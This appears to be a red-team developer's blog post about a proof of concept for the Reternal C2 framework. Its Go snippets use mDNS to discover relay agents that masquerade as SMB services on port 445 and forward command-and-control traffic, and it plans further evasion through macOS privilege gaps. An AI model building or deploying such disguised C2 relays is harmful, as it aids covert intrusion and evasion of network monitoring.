Inspired by an article discussing P2P command and control relaying I made an attempt at implementing mDNS to discover pivot points on a (local) network with devices running Reternal agents. Since mDNS/Bonjour is widely used on Apple devices this shouldn't raise too many eyebrows.

Every Apple user has probably seen the Bonjour background service before. Bonjour is the Apple implementation of mDNS that is used to automatically discover and register shared services on the network. This is especially usefull when you're trying to connect with devices such as your AppleTV, Apple Fileshare (APFS) and/or Home Printer without knowing the IP address or hostname. When your mDNS-capabable device boots it will let the network know that a new shared services is available via  multicast DNS (ie. mDNS) and respond to service discovery queries. Obviously this also comes with some negative side-effects. Different  tools are available that make use of mDNS discovery to passively find devices and services on the network by sniffing multicast traffic.

The PoC for a reternal agent is based on GrandCat's ZeroConf Golang library @ https://github.com/grandcat/zeroconf and works at follows:

1) Check if the autodiscovery variable is set to true when the agent boots;
2) Multicast a DNS request and find _microsoft-ds._tcp services running on the local network (usually SMB);

func MDNSFind(input string) string {
	resolver, err := zeroconf.NewResolver(nil)
	if err != nil {
		result := "Failed to initialize relay resolver"
		return base64.StdEncoding.EncodeToString([]byte(result))
	}

	entries := make(chan *zeroconf.ServiceEntry)
	go func(results <-chan *zeroconf.ServiceEntry) {
		for entry := range results {
			relay_port := int(entry.Port)
			relay_ip := entry.AddrIPv4
		}
	}(entries)

	ctx, _ := context.WithTimeout(context.Background(), time.Second*time.Duration(6))
	err = resolver.Browse(ctx, "_microsoft-ds._tcp", "local", entries)
    ....
}

3) A different agent that is running the relaying service will reply to the query with it's IP address and exposed port that is used for relaying traffic. In the default example this is port 445;

func MDNSService(input string) string {
	server, err := zeroconf.Register("microsoft-ds", "_microsoft-ds._tcp", "local.", 445, []string{"txtv=0", "lo=1", "la=2"}, nil)
	if err != nil {
		result := "Unable to run mDNS server"
		return base64.StdEncoding.EncodeToString([]byte(result))
	}
	defer server.Shutdown()

	sig := make(chan os.Signal, 1)
	signal.Notify(sig, os.Interrupt, syscall.SIGTERM)
	select {
	case <-sig:
	}
    ....
}


4) The local agent will adjust it's C2 destination IP with the IP address of the relaying agent;
5) The secondary agent will forward all traffic to it's locally configured C2 destination IP;
6) ... $$ profit

This feature is not implemented in the current commit of Reternal yet but I'll be able to push a working example somewhere next week. The PoC doesn't simulate SMB traffic but acts as a simple HTTP forwarder on port 445. Running an arbitrary service on this port is trivial since the latest iteration macOS (14.4.4) does not ask for the user's password and/or root permissions to run services below port 1024, which is usually the case on *Nix. To finalise this concept I'll try to replace the HTTP forwarder with read/writes from Named Pipes by making use of the built-in Samba server in order circumvent cases where a user already has filesharing via SMB running on his machine.

Nice-to-know: Enabling SMB Fileshares on macOS also doesn't require any elevated privileges ;) I can probably (ab)use this, but I'll have to get the basics working first.